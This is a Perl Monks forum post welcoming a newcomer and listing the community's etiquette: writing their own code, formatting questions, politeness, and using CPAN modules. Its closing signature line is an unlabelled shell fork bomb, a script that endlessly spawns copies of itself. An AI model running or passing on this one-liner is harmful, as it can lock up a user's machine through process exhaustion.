Dear rcxau,

Welcome to Perl Monks. We're excited that you want to learn perl, and we are glad to offer our advice. However, you should aquaint yourself with the Perl Monks FAQ so that you will be welcomed into the brotherhood without commiting any serious "faux pas".

Here are a few abbreviated and unwritten rules of the Monastery:

1. We will not write scripts for you. If you post code that you have written, we will be happy to offer advice and suggestions, but we do not write scripts on demand.

2. We like questions that are: Puncuated correctly. Include breaks between lines and paragraphs. Include code that we can read, and are surrounded by <code> and </code> tags. Don't ask a question that isn't about Perl (unless it relates to Perl; and if it's not about actual code it should probally go in Meditations or Perl Monks Discussion).

3. Humility and politeness are the two highest virtues of a Monk, outside of good coding. Ask politely, do not demand. Show that you are willing to try something new. Read a different node or manual when requested to do so. Thank your fellow monks with a public or private reply. Respect the wisdom of the monks more elder than yourself.

4. We like it when you don't re-invent wheels. High-level monks are granted exceptions to this, as they know what they're doing. This usually means:
* Use CPAN modules
* Don't write your own CGI handler, use CGI.pm
* Don't write your own XML parser, use XML::Parser or some version thereof
* Understand what you are talking about before you post

5. Giving back is the soul of the community. Reply to other questions, if you have a reasonable suggestion. If you do not, keep your peace and learn from the other Monks. If you feel inspired, write some Perl Poetry, submit your Meditation, or show us a Cool Use For Perl.

6. Make a reasonable attempt to learn the thing that binds us all together in Brothership: Perl!

Your fellow monk,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;